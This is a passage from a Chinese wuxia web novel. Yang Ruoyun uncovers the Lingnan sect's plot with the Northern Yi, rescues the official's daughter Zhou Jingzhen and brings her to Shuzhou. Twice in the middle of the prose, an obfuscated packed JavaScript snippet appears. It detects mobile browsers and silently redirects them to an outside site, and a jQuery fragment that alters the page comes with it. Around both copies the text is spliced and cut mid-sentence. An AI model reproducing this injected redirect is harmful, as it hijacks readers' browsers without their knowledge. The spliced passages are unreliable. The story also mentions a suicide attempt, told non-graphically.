他有些赧然,但全身已经警惕起来,随时准备施展轻功逃离,又看那姑娘没有要喊人的意思,也就远远跟着她来了一处小院里。 那姑娘刚回过头来就对杨若韫说道:“我身上有暗器防身,你别想杀我灭口。” 杨若韫一面走一面想着说辞,突然听到她说这话还有些诧异,想着昨晚刚同这姑娘打过交道怎么她还对自己有这么大敌意,复又想起自己此时相貌、身材已和昨晚大异,只要不开口说话,她就不会把此刻的自己与昨晚的自己联想起来。 想到此处,他又松了口气,心思一转,想着只要告诉这姑娘自己只不过是别人家的小厮,来看看通判为何没去前厅招待客人大概就能蒙混过关了。 却没想到那姑娘竟没问他为何出现在主屋窗边,倒是像已经知晓他身份似的对他说道:“既然武大人一家已脱离了危险,我爹爹又有岭南派四大高手相助,那么阁下不如转告武大人请他别来报复我爹爹了,以免多生伤亡。若是我爹爹仍有什么对付武大人的谋划,我也会尽力打听到,不叫你们有什么损伤就是了。” 杨若韫听得一头雾水,但还是含含糊糊应了下来,又听她道:“这次你来我们府中的事我也会隐瞒下来,今日我们府中耳目众多,稍有疏忽就会惹来麻烦,请你快快走吧。” 杨若韫一听她直接让自己走了,当然毫不拖泥带水地拔腿要走,突地心中一动,想到那黔州节度使正是姓武,刚迈开的脚步就又停下,那姑娘见他本来已经转身准备离开了却又突然停步,不禁一怔。 只见杨若韫回过头来对那姑娘道:“周小姐,小人虽只是武大人门下的一名小小武士,但也知道我家主子意志坚定,轻易不会更改自己的决策,即便小人把你的话原原本本地告诉了我家主子,想来也起不了什么作用,不如你把我家武大人与令尊如何结怨的经过告诉小人,小人再想些措辞,从根源劝慰我家大人放下这些过节,与令尊握手言和,那岂不是两全其美吗?” 原来杨若韫电光火石间便从这周小姐的话话中意识到了眼前的姑娘便是周广源的女儿。 而这姑娘把自己认成了黔州节度使豢养的武士,她又明显知晓些内情,便临时编出了套说辞让她把内情告诉自己。 杨若韫刻意哑着嗓子说话,那周小姐虽疑惑这人声音怪异,但也没听出他就是昨晚来阻止自己自杀的人,当下便依言原原本本地把自己所知告诉了杨若韫。 原来这周小姐因为生平只生活在后院中,父亲继母都从没苛难过她,便养出了一副单纯直率的性格。 哪怕近来无意得知了其父亲的筹谋,也并没深刻体会到世人的狡诈多欺,便丝毫没意识到若是杨若韫在武家地位低微,即便自己把内情告诉他了,武大人也不会听信一个小小武士的劝慰而真的和自己父亲言和。 在她的话语中,杨若韫渐渐了解到了实情。周广源身居黔州通判已有十余年,因为无法得到升迁便和黔州的武林势力岭南派合作。 岭南派近年来声势壮大,其中弟子遍布各行各业,也颇有与周广源交好的意向,两方一合作,岭南派便让周广源与黔州城内高官交涉,试图让他们选择投靠北夷。 周广源最开始也大为震惊,明确拒绝此事,但岭南派好手与周广源谈判,竟拿出了他的一个把柄,又劝周广源倘若北夷人成功灭亡魏朝,到时必让周广源当上节度使。 无奈之下,周广源只好乖乖照办。岭南派纵横江湖也真有些本事,这些年来竟然拿到了黔州城中大半高官的把柄。 威逼利诱下大部分人都成为了岭南派的傀儡,最后岭南派又把主意打到节度使身上,却无奈寻不到其软肋而这节度使又态度极其坚定,便不得不想方设法除去他。 周广源与节度使之间并无仇怨,不过是这周姑娘听说了武家人搬家的消息,以为他们搬离府邸便是因为发现了地道和火药。 能在黔州城布下这些非得得到自己父亲的帮助不可,便自然而然地以为节度使会来报复自己父亲,见到在主屋窗边伏着的杨若韫便以为是节度使派来的人。 8. 第八章 杨若韫心中虽早已猜测岭南派已经把手伸向了朝堂,但真正听到时还是惊诧无比,内心对岭南派的势力有了全新的认识。 他面上丝毫不显,待那姑娘讲完后便对她道:“姑娘,我已知晓其中详情,待我回去复命之时定会好好劝慰我家主子放下其中恩怨,我这便走了。” 那周小姐刚要点头却突然有人笑道:“哈哈哈,知道了这么多就要离开吗?这是真没把我岭南派放在眼里啊。” 那周小姐被这几句声若洪钟的话震得耳膜发疼,跟着便看见门外直直走进来三人,两侧墙壁上不知何时也各立了一人,正是自己父亲周广源随着岭南派四个好手来到了此处,当下便被吓得不知所措起来。 杨若韫眼见已被对方合围,心知不妙,眼光如电般地划过那周小姐的面容,却看见她错愕畏惧的神色不似作伪,这才确认这周小姐并非刻意把自己引来此处谋害自己,便静静看着来人,心中想起对策来。 那周小姐本是寻了处极偏僻的库房,按理来说平日都不会有人来,却不知怎地竟正好被父亲他们抓住。 听他们语气竟似全然知晓自己都说了什么,看见父亲盯着自己的目光冷酷无情,顿时心中一凉。 又听见岭南派为首的那人说道:“周大人真是养得好女儿,不说泄露了我们的秘密,竟还想着放混入府中的奸细离开。” 那周小姐更是被吓得花容失色,一转头瞧见杨若韫只安静地伫立,似乎全然没把现在的处境放在眼里。 岭南派的那四人已目露凶光,想着此时情况是凶多吉少了,自己必会受重责,这人却难逃一死,一咬牙,摸出藏在袖子中的暗器,朝那几个岭南派的好手发去,又朝杨若韫喝道:“你赶紧离开!” 杨若韫看见她突然出手帮自己也是一愣,他之前早有估计,对方实力虽强,但也难以把自己留下,是以只静立默想怎样毫发无伤地离开。 眼见那周姑娘朝着对方突放暗器,对方也已手忙脚乱,正是自己脱身的好时机,但想到如此的话这周姑娘却陷入了不孝的境地。 昨晚她悲伤割腕的情形历历在目,自己又怎能放着一个小姑娘承担后果独自离开?因此脚步并没移动。 周小姐见他不动更是急切,也顾不得什么规矩了,朝着杨若韫喊道:“你傻愣着干嘛?赶紧跑啊!他们会杀了你的!” 杨若韫只朝她淡淡一笑示意无碍,便不退反进朝前冲去,挥拳打向了其中一个矮子。 周小姐那暗器一发虽出其不意但终归伤不得这些一流好手,那矮子才拨开打向自己的暗器又闻一股劲风袭来,不及多想,直接一掌拍出,却发觉自己这掌没打中实物,刚开始纳闷又见自己长剑不知去向。 他朝旁边一瞥才发觉杨若韫几招快剑已把自己同伴逼得手忙脚乱,他手中握着的正是自己的佩剑,不由得大怒,直接空手去斗杨若韫。 墙壁上的两人见已开打也都纷纷跃下加入战团。 杨若韫长剑在手又占了先机,施出来几招如电般快速无比的剑法就把那三人逼得难以出手进攻,见那矮子来斗倒也不敢大意,左手一掌朝他直直拍出。 那矮子见杨若韫这一掌平平无奇,又见他年轻轻轻料想功力不强,便存了轻敌之心,同样一掌只施了三成力道去接,两掌相交却见那矮子朝后退了七八步又一屁股坐到了地上。 其余众人见状也是一愣,再也不敢小瞧这少年了。 原来那矮子是岭南派第一等的好手,因为对掌时力道使得轻了,被杨若韫全力一掌打出了内伤,虽然自身功力并不逊色于杨若韫,察觉到不对劲时内力迸发抗住了大部分掌力,却还是感觉内脏翻涌,气血阻塞,只好先盘膝坐下调整起气息来。 杨若韫出手便伤了一人,随即精神大振,出剑愈发凌厉,却毕竟敌不过对方人多,几招下去,杨若韫已守多攻少。 那三人中一人使斧头,一人使铁笔,还有一人使短棒,长短互补,局势渐渐被他们掌控。 那使斧头的高壮汉子猛喝一声,犹如晴天霹雳,杨若韫心中一凛,知道他这一喝之中含着虎啸功夫,怪不得此前听见这人声音隐含风雷之声,便立马收敛心神,不被这功夫影响到。 那人见状心中也是一惊,自己的独门虎啸功乃另得高人传授,不属岭南派的功夫,对敌时往往能生奇效,对这少年施展出来却好像一点影响都没有。 以往对手中只大师兄安振德一人有此功力,却不知这少年年纪轻轻的如何能有这般造诣,他心中已把这少年当成了生平罕见的大敌。 杨若韫越打越是吃力,暗忖再也难以出手伤了对方,倘若那矮子再起身来围攻自己,情形就危险至极了。 他临时又想不到什么能令那周小姐免受责罚的办法,只好先使出几招快剑剑法逼得他们攻势暂缓,再用轻功闪身来到那周小姐的身旁,隔着袖子握住她手腕携她飞奔起来。 那周小姐被他这么一带,便身不由己地跟上了杨若韫,正想开口说话却因为被杨若韫携着快奔气息受阻发不出声来。 杨若韫轻功本就在岭南派那几人之上,不过因为携了一人,需要他用上内力同时带动两人,速度便不及他们,但仗着杨若韫机敏多变,连换路线,在黔州城中大兜圈子,总算慢慢甩开了他们。 杨若韫不敢停留,寻了马来准备出城,周小姐才终于能开口说话,一开口便道:“小哥休忙,你牵马来是要带我出城吗?” 杨若韫点点头道:“他们人多势大,我们不出城难以躲避。”那周姑娘也点点头道:“那小哥你赶紧骑了马快走吧。” 杨若韫见她并没随自己出城的想法,便说道:“周小姐,只怕你现在处境尴尬,不便回府,不如随我一同避避风头。” 那周小姐坚定地摇了摇头,说道:“我既姓周,无论如何都是要回去的,你放心罢,我爹爹不会把我怎么样的,你赶紧上马吧。” 杨若韫怎能这样容她回去,又见她意志坚定,不由得叹了一声,吩咐她等着自己,去了临近的宅子利落地改换了装束,又拿了件大斗篷带给周小姐,这才带她去了城西的坊中。 杨若韫告诉周小姐他们遇上人就说是兄妹,先去找个地方落脚。城西的坊中大多居住得是平民百姓,房屋不如其他地方宽敞,总算此处人多,杨若韫也不用担心会被人找见,找了家较为整洁的客栈开了两间房,这才和周小姐暂时安顿了下来。 那周小姐许是从未出门来过这种地方的缘故,进了房门便好奇地张望。 杨若韫见她性子纯朴,年纪虽与夏婷苏相仿行为举止上却更有稚气些,心地又善良,心中便不觉存了些呵护她的心思。 想到她之前已萌死志,现在又闯下祸来,不知她以后还要怎么生活,总得替她解决了这些麻烦,好让她没有烦恼。 见那周姑娘坐在了床上,杨若韫当下便扯过张凳子来,坐在了周姑娘的面前,问她道:“周姑娘,在下想问问你昨晚为何要割腕自杀?” 此言一出,周姑娘也吃了一惊,杨若韫说话时已不再哑着嗓子,声音依稀和昨晚救了自己的人相似,但面容身材却大有差异,可若不是那人,他又怎么会知道此事? 杨若韫忙简单解释了一下自己有改变容貌身材以掩人耳目的习惯,周姑娘这才恍然大悟,又不禁疑惑地问杨若韫他不是节度使家豢养的武士吗?为何一再去自己府中监视? 杨若韫脸上微微一红,把自己来龙去脉都介绍了一遍,本也没有刻意监视周通判的行为,适才骗她不过是形势所趋,方才出此下策,周姑娘也不甚在意,接着也大大方方地介绍了一遍自己。 周姑娘闺名叫做周静蓁,便是周通判的长女了。她又解释说自己之前有过自杀之意,是因为无意间在父亲书房外听到自己父亲竟暗中投靠了外族又想着谋害黔州节度使,原本父亲伟岸正直的形象也随之崩塌。 她曾旁敲侧击地问过父亲几回,都被父亲严厉地教训了一顿,加上幼弟出生,自那以后,家中长辈也都不大看重自己,又曾有下人闲话说自己在府中已经没什么地位,渐渐地,下人对着自己也都有股傲慢之意,经常故意给她使些小绊子。 她常常中夜独自坐在院中神伤,直到昨晚才下定了决心,却被杨若韫无意中救了下来。 这些本是埋藏在这小姑娘心底最大的秘密,她红着脸半是害羞半是窘迫地花了许久才对杨若韫说得明白。 杨若韫听完后,端正脸色,对周静蓁说道:“周姑娘,你是一个懂事理明大义的好姑娘,其他人怎么做是他们自己的事,你不应因为旁人的冷落责备而放弃生命。生命是自己最大的财富,其他任何人都不值得让你放弃你的这笔财富。” 周静蓁愣愣地听着杨若韫的话,突觉得他身上似乎有一股光芒,慢慢融化了她给自己设下的枷锁。 她低头想了半晌,才抬起头来对杨若韫说道:“杨大哥,你说得没错,可我还是想回府去问问我爹爹为什么他要那么做?” 杨若韫见她仍对自己父亲留有一丝幻想,也不禁想到了自己师父,自己自幼便被亲人抛弃,若不是被师父救了又照料自己长大成人,这条命早就不复存在了。 蒙师父将武艺倾囊相授,倘若自己再过得十年,便可与安振德不相上下,这份恩情实是深重至极。假如有人说自己师父也犯下什么错误,自己也是万万不敢相信的。 于是杨若韫当下便应了周静蓁的请求,思忖了一阵,决定还是此时趁他们忙着找寻自己,府中防备空虚再潜入通判府一趟去问个明白。 但又想到周静蓁倘若问了父亲仍是得到原先的结果又该怎么办?自己总不能逼着那周通判不去投靠外族,看来只能到时候见机行事了。 杨若韫便握着周静蓁手腕,从窗外跃出,径直奔到了通判府,这次他只打算悄悄地去见周广源,便小心翼翼地躲过了府中的人。 等来到了正屋,看见那周广源独自坐在堂前喝茶,眉头蹙着不知在想些什么,他不敢掉以轻心,巡了一圈,发现岭南派那四人已不在此处,这才飞身进屋出手点了周广源的穴道。 周广源乍见刺客来袭还不等出声就已被制住,想开口说话也发不出声来,只能用哀求的目光看着杨若韫,杨若韫视而不见,提着他走进屋内, 周静蓁早已在屋内相候,杨若韫把他放到凳子上,顺手解了他的哑穴,周静蓁见父亲形状狼狈,不由得求杨若韫把周广源穴道解开,好让他从容一点,杨若韫叹了口气,这才把周广源穴道解了。 那周广源理了理衣领,冷冷的看着杨若韫和自己的女儿,周静蓁看了一眼杨若韫,见他目光放在别处似乎毫不在意,便说道:“爹爹,我心中有个疑惑,难道你是真的自愿投靠了北夷吗?” 周广源瞪了周静蓁一眼,怒道:“我有你这种吃里扒外的女儿,真是倒了大霉了。你到底回来干什么?” 周静蓁见他这样,泪珠便在眼中打起转来,呜咽地说道:“爹爹,从小你便教育我为人要光明正大,做官更要以百姓为本,你做出那些事是到底为了什么?这里没有外人,你就痛痛快快地告诉女儿吧。” 周广源又瞪了她一眼,怒道:“你还说这里没有外人,那他是谁?”说着手指便指向了杨若韫。 周静蓁停了停,看了一眼杨若韫,才说道:“那是我结识的一个朋友,他侠义心肠,绝不会伤害无辜的。” 周广源又怒道:“那他出手伤了我,我就不是无辜的人?” 周静蓁说道:“爹爹,你知道我不是这个意思的,倘若你有什么为难处,告诉女儿好吗?这位杨大哥也会帮咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他随手牵来一辆马车,把周静蓁稳稳地放进车厢。不知是哪位官员家眷的马车,车厢内铺着软榻,这下杨若韫也不需要担心马车颠簸影响周静蓁,走出车厢又俯身在地上抓了一把石子,就驾马驶出通判府。 期间有人来阻,皆被他随手掷出的石子击中穴道,定在原地。他驾着马车一路驰向城门,原以为出城也得大费周折一番,却不料竟没人来查问,顺顺利利地出了黔州城。 等出城走了三四十里地,他才喝停马车,走进车厢,看着周静蓁脸色苍白,他扶着她身体,果断地把匕首一拔,血刚往外涌出就被杨若韫隔空以真气点中穴道止住。 周静蓁这时也悠悠醒转,见杨若韫在身前照料自己,便开口说道:“杨大哥,我这是要死了吗?” 杨若韫赶忙回道:“周姑娘你放宽心,这点伤不会危害生命,你赶紧养养神,别再劳神说话了。”周静蓁这才安心闭目。 杨若韫从怀中拿出伤药,先让周静蓁口服了几粒丹药,见伤处尴尬心想毕竟男女有别后面的事情只好劳她自己动手。 待她精神恢复了些便把外敷的药物给她让她自己敷上,又从车厢中找出来几件女子的衣裳,告诉周静蓁抹好药后就换上那些衣服,力气不济就先休息一阵,此处已脱险境,不必再着急忧心,便走出车厢,想起事来。 他这趟黔州之行倒的的确确知晓了岭南派的阴谋,只不过他只是个平民百姓,手上并无任何权力,便掺入不到朝堂的事情中去。 眼前魏朝国力衰颓,不少贪官污吏横行,除了这个贪官明天又有那个贪官顶上,实是无可救药,只他毕竟是魏朝子民,怎能容许外族进入中原烧杀劫掠。 他沉吟良久,始终想不出自己怎样才能拯救天下苍生。 他随意一瞥却蓦地看见马车外壁上刻有黔州武家的字样,顿时想通了之前出城兵士不来查问的原因,又想到自己之前救了武氏一家,今日却阴差阳错地回报了自己,当真是种因得果。 过得一会,见道旁蹿过一只野兔,杨若韫想起出来时未携带干粮,便几步追上去,一把把兔子抓起来,又在道旁生了火,一指点毙兔子,放在火上烤起来。 他常常在野外生活,对这些事情自然信手拈来,不一会就烤得香气四溢,又听见马车内周静蓁在唤他,便拎着已烤得全熟的兔子走进车厢。 他见周静蓁换上了新衣衫,脸上虽仍旧苍白,精神却明显好了些,知道自己的伤药起了作用,便拿出小刀割了兔肉招呼周静蓁吃。 周静蓁在车厢内受过重伤后本力气不济,连手臂也难抬起来,但杨若韫的伤药见效极快,不一会就慢慢恢复力气,勉强上好药后伤口渐渐不再发疼,又缓缓换好衣服。 待吃过兔肉后,周静蓁精神更好起来,这才说起她和周广源在屋中的事。 周广源起初和颜悦色,温声告诉她自己那么做都是不得已的,叫她在屋内等着自己,自己从窗户出去取件极重要的信物来让周静蓁确信他实在有难言的苦衷。 周静蓁却不允,坚持说如果他想去取那信物便需和杨若韫一块从正门出去取,周广源便急切起来,告诉周静蓁杨若韫其实是他在黔州的对头派来的,此人万万不可信,周静蓁态度却丝毫不为所动,坚持要周广源去和杨若韫一同取那信物。 周广源见谈话无果,便又开始训斥她起来,最后周广源态度愈发强硬,从怀中摸出匕首刺中了周静蓁,又伸手去捂周静蓁的嘴,却还是让她发出了一声低低的惊呼,后被杨若韫发觉,闯进屋来,救了她一命。 杨若韫叹了口气,难以理解世上竟有如此绝情的父亲,不知从何劝慰起周静蓁来。 周静蓁静默片刻,又对杨若韫说道:“杨大哥,我是个苦命的女子,现在父亲也不要我了,等我的伤养好后我就去庵里出家了。” 杨若韫也吃了一惊,见她目光坚定,显然心意已决,只得劝道:“出家一事,暂且等等,我行走江湖多年,总算结识了些好朋友,到时候我再给你安排别的出路,未必便是只有出家一条道路能走。” 周静蓁听了这话,不由得感动不已,心想世上总算还有这样一个真诚待我的大哥,我未必便是孤独无依了。 杨若韫想她重伤在身,不可再劳神同自己说话了,就让她在软榻上歇着,自己到车厢外去驱车行路了。 9. 第九章 过了两个时辰,天色渐暗下来,杨若韫却准备连夜赶路,争取在明日中午赶到蜀州。 毕竟他所携伤药有限,若是周静蓁重伤又有其他变化在这荒郊野地可不好医治,早些到了蜀州便更安心些。 所幸武家的马车配备得是匹极难得的好马,即便连夜赶路也神采奕奕,速度不见放缓。 快到蜀州时才刚至巳时,他在蜀州城外四五里地处就把马车停下,进了车厢见周静蓁面色比起昨日来红润了一些,就让周静蓁下了马车,自己则让那马拉着马车扬长而去。 周静蓁不明其意,杨若韫便对她解释道:“那马车上有黔州武家的字样,倘若开进蜀州恐怕会惹来麻烦,就此放了便是为了让别人暂时无法得知咱们的行踪。” 说完便携着她手腕,展开轻功疾驰起来。 周静蓁见自己仿佛足不点地一般御空而行,又走得稳稳当当决不会扯到伤口,对杨若韫的轻身功夫大是佩服。 顷刻间两人便来到城门前,此时天下难民众多,来蜀州谋生的也不在少数,城门处的士兵忙着驱赶那些衣衫褴褛的乞丐,对其他人也来不及盘问,见杨若韫他们衣着光鲜,气度不凡,便直接把他们放进了城中。 杨若韫循着记忆,进了之前夏婷苏居住的客栈,向那账房又多要了两间房,刚上得楼来,便看见一个清秀小生抱着一大摞书匆匆走过,杨若韫一见之下,当即惊喜地叫道:“夏姑娘?” 那小生忙一回头,看见杨若韫也是喜不自胜,原来此人正是夏婷苏了。 此时杨若韫也并非本来相貌,但是夏婷苏对他声音熟悉,见他目若灿星,虽然面容做了变化,眼睛却骗不了人,立时便知这是杨若韫。 又见他身边俏生生地站了一个姑娘,虽略有憔悴,但容貌秀丽,显是位小美人,当下便抱着书,走上前笑道:“杨大哥这一趟可携了位美貌的小姐妹来陪我解闷了。” 杨若韫哈哈一笑,先领着两人进了新订下来的房间,又引她们两人认识。 夏,周二姝一见面就甚感亲切,很快便热络起来,连杨若韫也插不上话了。 夏婷苏向他们解释说自己这几日闲着无事,就替别人抄写文书赚点钱花,这才有了她抱了一大摞书的情形,适才便是要把抄好的书送还给人家。 渐渐又聊到了夏,周二人家世来历,却都甚感尴尬,杨若韫便岔开话去,主动说起了自己在黔州的见闻。 他其实并没什么时间去体会到当地的风土人情,只不过为了避免大家尴尬,才聊起了这个话题,周静蓁便自然地接上话,主动介绍起黔州的特色来。 过不多时,夏婷苏见周静蓁脸色苍白,不便再费神说话,就止住话头,自告奋勇地去承办他们的接风宴,杨若韫见夏婷苏渐渐地已能独立起来,也甚感欣慰。 夏婷苏去邻近的酒楼叫了几个菜,又吩咐店家拿了一壶好酒,这才提着食篮回到客栈和他们简单摆了一个接风宴。 三人吃过后便各自回房歇息,夏婷苏想到杨若韫虽未说起这一趟的发现,但见他神色隐有愁容,猜测岭南派恐怕的确和北夷人有牵连,自己叔父既习得岭南派武功,说不定便真的也投靠了北夷。 据自己所知,夏家在魏朝根深蒂固,当然是支持魏朝的,而联想到父亲和夏家的遭遇,心中不禁有个隐隐的猜测,又觉得那样想来实在太过不合情理,心中便矛盾极了。 她苦恼了一会,终觉以自己一人之力,实在难以改变什么,不由得长叹了一口气。 杨若韫这边亦是对岭南派一事深感烦扰,但他向来是个行事果断之人,心中渐渐有了谋划后也就不再纠结,安安定定地做起事来。 如此过了两月,杨若韫的伤药见效颇快,周静蓁的身体已渐渐恢复如初。 夏婷苏仍是以抄书为业,但自独立生活以来和不同的人打交道也慢慢变得精明起来,杨若韫则是忙着去铁匠铺打铁器,却无人知晓他究竟打了什么东西出来。 这两月间,周静蓁也已见惯了杨若韫的本来面目,起初她虽知杨若韫面容做了改变,但也没想到他竟是个玉树临风的公子哥似的人物,一问杨若韫年龄也不过十九岁,实在难以想象得出这样一个少年竟是位身负绝学的英雄侠客。 这日杨若韫见周静蓁身子已然痊愈,自己的铁器也打得差不多了,便提议带着这两姊妹四处逛逛去。 夏婷苏虽在蜀州待过的时日比另两人都长,但也没在城内好好逛过,当下欣然应允,周静蓁歇了这么久,一听要出去,自然也是欢欢喜喜地应下了。 杨若韫便出去租赁了一辆马车,带着夏,周二人在蜀州附近玩了三日,直至把附近二十里内的风景都看遍了才罢休。 这晚杨若韫又带着她们来了蜀州城内最大的酒楼,要了一间包厢,招呼着伙计上了一大桌菜肴,夏,周二人见他举止有异,均隐隐觉得杨若韫此举或有什么其他含义。 只见杨若韫先开了一坛好酒喝了三碗,脸上微生红晕了才说道:“二位好姑娘,咱们在一块结识的日子虽不长,但你们心地善良,性情坚韧,我很是佩服,现下我有件大事要办,恐怕要先与二位暂且分别了。” 夏婷苏忙问道:“杨大哥,你要去办什么事?有需要我们帮忙的地方吗?” 周静蓁虽没说出口,但神色担忧显然是和夏婷苏存着同样的疑问。 杨若韫答道:“我即将去寻一个仇家,和他处理清楚点事情,你们的好意我心领了,但此行意义重大,实是需我亲力亲为,就让我独自来处理吧。” 顿了顿,又接着道:“我此行所耗时日不短,两位姑娘,你们接下来有什么打算吗?” 夏婷苏和周静蓁彼此对视了一眼,均从对方身上读出了尚没有这方面的想法,也就都纷纷摇头。 杨若韫见状便道:“既是如此,不知二位姑娘可否愿意到念光寺拜师学艺?我师父与念光寺掌门慧清师太乃是旧识,我也与念光寺有些交情,送你们前去学艺应当不是难事。” 夏婷苏,周静蓁都出身世家,见识自然广博,也都曾听到过念光寺的大名,此寺以女弟子为主,不仅武学名士众多,且对佛法也十分精研,在江湖上地位相当高。 其中大多数弟子是出家人,只有少部分俗家弟子,杨若韫能让她们以俗家弟子的身份去学艺,自然也是与念光寺有交情的缘故。 在当今局势之下,能生活在一处避开战争纷扰的地方确是十分难得,她们没料到杨若韫会替她们安排好去路,感激之言不必再提,将来若是杨若韫有哪里需要她们帮忙的地方肯定是在所不辞,于是纷纷思忖起来是否依着杨若韫的安排去念光寺拜师学艺。 夏婷苏几月以来便一直忧心夏家的安危,眼下虽然有了更好的选择,可一旦去了念光寺,便是需得长长久久地生活在那里,意味着她再也难以找出真相,难以救回夏家众人。 自骤逢剧变,一路逃亡的这几月来,她尽力保全自己的生命,可每当她想到夏家的众多亲人,侍婢晓荷晓莲和可能被波及的王家总是十分牵挂。 何况她隐隐觉得杨若韫要去办的这件大事说不定就和岭南派有关,更有可能关联到夏家。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178349|180830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如今距离夏家生变已经近一年过去了,此时自己再回肃州想来也不会惹出什么麻烦,况且无论如何,肃州毕竟是自己生活了十几年的家,总得要回去看看。 想到此处,夏婷苏便下定决心要回去肃州,于是当下便只静静地等待周静蓁会作何决定。 周静蓁自离家后,心中实觉世上已无什么牵挂,不过是杨若韫曾多次救她,只是想着能有朝一日报答杨若韫,听杨若韫说可以让自己去念光寺,便想着或许能借此机会学得一技之长,日后能帮上杨若韫。 这两月中,她见杨若韫本领极大,事事皆能掌控在手,夏婷苏外和内刚,心思玲珑,虽是女子却比男子更能把事情办得妥妥帖帖,早已有了自惭形秽之意,此时机会已至,怎能眼睁睁地把它放过去? 于是她便坚定地说道:“杨大哥,我愿意到念光寺拜师学艺,只是害怕我性子愚笨,给杨大哥多添麻烦。” 杨若韫见她心思已决,便笑道:“怎么会呢?周姑娘聪明伶俐,善良仁和,必会得到念光寺众位师太的青睐。”说罢又看向夏婷苏,问道:“夏姑娘意下如何呢?” 夏婷苏见问到自己,才缓缓答道:“我已有了其他安排,只怕得辜负杨大哥的一番好意了。” 杨,周二人闻言一愣,均想不出她还有什么安排,但杨若韫马上回过神来,说道:“既然夏姑娘已有安排,那我也就放心了,今日酒席摆的还勉强凑合,咱们也就别浪费了花出去的银子,赶紧吃起来吧!” 许是因为心情有异,夏,周二人并没什么兴致,杨若韫却是大快朵颐。 等三人从酒楼里出来,天色已然完全暗下来,三人漫步街上,只见四周灯火通明,许多小商贩都在路边摆上了摊,络绎不绝的行人把道路挤得满满当当,显得十分热闹。 杨若韫两耳不闻窗外事,见此情状,便问夏婷苏道:“夏姑娘,街上这么热闹,今晚是有什么节日吗?”夏婷苏抿唇一笑,耐心地解释起来。 原来今日乃是八月十五,远近的小商人都在之前做足了准备,就等着这一日来蜀州这样的大城摆摊卖东西,各家百姓也都会在这个时候出门凑凑热闹,沾点节日的喜气,是以今晚才如此热闹。 蜀州物产丰富,百姓安居乐业,在魏朝已是十分富庶的地方了,哪怕是在路边玩闹的四五岁小孩儿,衣着也都相当齐整,来出门凑热闹的更是大多出手阔绰,商贩们卖力吆喝,杨若韫也不由得起了去买些小玩意的心思。 他自幼便只与师父相依为命,从没像平常人家的孩子一样爱寻热闹,对于节日的印象模模糊糊,更是连过年的场面也未体验到过。 他走在街上,见着卖花灯的,表演杂耍的,拨弄傀儡戏的都不免要驻足观看一番,实是事事都感好奇,夏婷苏则是一一给他讲解。 其实夏婷苏从前也不常出门,哪里能什么都知道,只不过她常从丫鬟口中听到这些,便简单给他解释几句,自己也是同样的好奇。 周静蓁在旁边瞧着杨若韫活泼,夏婷苏稳重,自己虽只偶尔插上几句话但也不觉得被冷落,心中渐渐泛起了温馨的感觉。 她自小到大言谈举止都由嬷嬷传授了礼仪,绝不能背离规矩,实在没有能和她玩得来的伙伴,父亲又性格严苛,母亲离世后便常常会感到孤独,以前习惯了孤独,就不觉得那有什么,可此时的她目睹了鲜活的热闹,感受到了世间的温暖,怎能不使她升起了对未来的向往? 又想到不久之后各人便要分别,不知何时才能再会,不由得盼望着像今晚这样的时光能过得缓慢些。